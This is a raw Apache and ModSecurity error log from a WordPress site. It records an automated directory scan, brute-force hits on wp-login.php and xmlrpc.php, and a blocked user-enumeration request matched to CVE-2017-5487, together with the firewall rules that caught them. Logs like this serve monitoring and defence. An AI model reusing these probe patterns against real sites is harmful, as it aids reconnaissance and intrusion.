[Sat Nov 22 06:33:21.923710 2025] [autoindex:error] [pid 53478:tid 53522] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:23.606830 2025] [autoindex:error] [pid 53478:tid 53518] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:23.701652 2025] [autoindex:error] [pid 53478:tid 53527] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:23.796067 2025] [autoindex:error] [pid 53478:tid 53531] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:23.896743 2025] [autoindex:error] [pid 53478:tid 53530] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:23.995633 2025] [autoindex:error] [pid 53478:tid 53517] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:24.115712 2025] [autoindex:error] [pid 53478:tid 53520] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:24.318583 2025] [autoindex:error] [pid 53478:tid 53533] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:26.381266 2025] [autoindex:error] [pid 53478:tid 53529] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:26.482847 2025] [autoindex:error] [pid 53478:tid 53511] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:29.343392 2025] [autoindex:error] [pid 53478:tid 53509] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:29.456161 2025] [autoindex:error] [pid 53478:tid 53522] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:29.590137 2025] [autoindex:error] [pid 53478:tid 53528] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:29.707006 2025] [autoindex:error] [pid 53478:tid 53527] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:31.168871 2025] [autoindex:error] [pid 53478:tid 53509] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/themes/twentytwentyfour/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:31.263273 2025] [autoindex:error] [pid 53478:tid 53525] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:32.688746 2025] [autoindex:error] [pid 53478:tid 53524] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:35.523137 2025] [autoindex:error] [pid 53478:tid 53529] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:35.620908 2025] [autoindex:error] [pid 53478:tid 53515] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:35.720594 2025] [autoindex:error] [pid 53478:tid 53511] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:43.687288 2025] [autoindex:error] [pid 53478:tid 53522] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:45.169160 2025] [autoindex:error] [pid 53478:tid 53521] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:45.293489 2025] [autoindex:error] [pid 53478:tid 53512] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:45.611912 2025] [autoindex:error] [pid 53478:tid 53517] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:45.706832 2025] [autoindex:error] [pid 53478:tid 53518] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:45.802211 2025] [autoindex:error] [pid 53478:tid 53527] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:51.145696 2025] [autoindex:error] [pid 53478:tid 53532] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:28.332430 2025] [autoindex:error] [pid 53478:tid 53517] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:28.428781 2025] [autoindex:error] [pid 53478:tid 53509] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:28.536321 2025] [autoindex:error] [pid 53478:tid 53532] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:28.632027 2025] [autoindex:error] [pid 53478:tid 53514] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:31.321348 2025] [autoindex:error] [pid 53478:tid 53513] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:31.414993 2025] [autoindex:error] [pid 53478:tid 53517] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:32.837127 2025] [autoindex:error] [pid 53478:tid 53525] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:34.312865 2025] [autoindex:error] [pid 53478:tid 53526] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:34.410538 2025] [autoindex:error] [pid 53478:tid 53533] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:34.557147 2025] [autoindex:error] [pid 53478:tid 53516] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:36.008403 2025] [autoindex:error] [pid 53478:tid 53519] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:36.127230 2025] [autoindex:error] [pid 53478:tid 53531] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:36.232745 2025] [autoindex:error] [pid 53478:tid 53509] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:34:36.335022 2025] [autoindex:error] [pid 53478:tid 53510] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:36:46.789134 2025] [:error] [pid 53478:tid 53518] [client 173.239.254.68:49689] [client 173.239.254.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDpfghUYdXBbQswAdQ2lwAAAEk"]
[Sat Nov 22 06:36:46.789679 2025] [:error] [pid 53566:tid 53574] [client 173.239.254.62:38597] [client 173.239.254.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDpfsbSHDBkRbwMbd5eBgAAAMY"]
[Sat Nov 22 06:56:49.309260 2025] [autoindex:error] [pid 9547:tid 9572] [client 212.116.231.26:52586] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:56:49.728470 2025] [:error] [pid 9547:tid 9559] [client 212.116.231.26:52586] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aSDuMdClOR5qk7DoMeGl3AAAAUY"]
[Sat Nov 22 06:56:50.539427 2025] [:error] [pid 53566:tid 53573] [client 212.116.231.26:46160] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aSDuMsbSHDBkRbwMbd5nygAAAMU"]
[Sat Nov 22 06:56:51.353053 2025] [:error] [pid 53479:tid 53545] [client 212.116.231.26:46650] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aSDuM26cicFF3Aas-oShywAAAIk"]
[Sat Nov 22 06:56:52.163061 2025] [:error] [pid 53566:tid 53569] [client 212.116.231.26:47136] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aSDuNMbSHDBkRbwMbd5n9gAAAME"]
[Sat Nov 22 06:56:52.996133 2025] [:error] [pid 9547:tid 9560] [client 212.116.231.26:47538] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aSDuNNClOR5qk7DoMeGmIgAAAUc"]
[Sat Nov 22 07:00:22.660432 2025] [:error] [pid 25856:tid 25860] [client 173.239.254.63:62115] [client 173.239.254.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDvBhsTP0wy94zKUvHp8AAAAQI"]
[Sat Nov 22 07:00:22.661790 2025] [:error] [pid 9547:tid 9553] [client 85.8.130.40:56559] [client 85.8.130.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSDvBtClOR5qk7DoMeGndAAAAUA"]
[Sat Nov 22 07:24:55.759523 2025] [:error] [pid 53479:tid 53546] [client 193.37.33.243:54823] [client 193.37.33.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSD0x26cicFF3Aas-oSpKwAAAIo"]
[Sat Nov 22 07:24:55.759629 2025] [:error] [pid 53478:tid 53517] [client 173.239.254.69:24607] [client 173.239.254.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSD0xwhUYdXBbQswAdRH8gAAAEg"]
[Sat Nov 22 07:41:47.115603 2025] [:error] [pid 53478:tid 53513] [client 64.227.76.238:47054] [client 64.227.76.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.227.76.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSD4uwhUYdXBbQswAdRLWQAAAEQ"]
[Sat Nov 22 07:49:33.521876 2025] [:error] [pid 9547:tid 9564] [client 173.239.254.63:28591] [client 173.239.254.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSD6jdClOR5qk7DoMeG8RAAAAUs"]
[Sat Nov 22 07:49:33.522836 2025] [:error] [pid 9547:tid 9557] [client 85.8.130.41:32925] [client 85.8.130.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSD6jdClOR5qk7DoMeG8RQAAAUQ"]
[Sat Nov 22 07:50:49.745064 2025] [:error] [pid 53479:tid 53546] [client 187.190.206.138:33297] [client 187.190.206.138] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSD62W6cicFF3Aas-oSvCgAAAIo"]
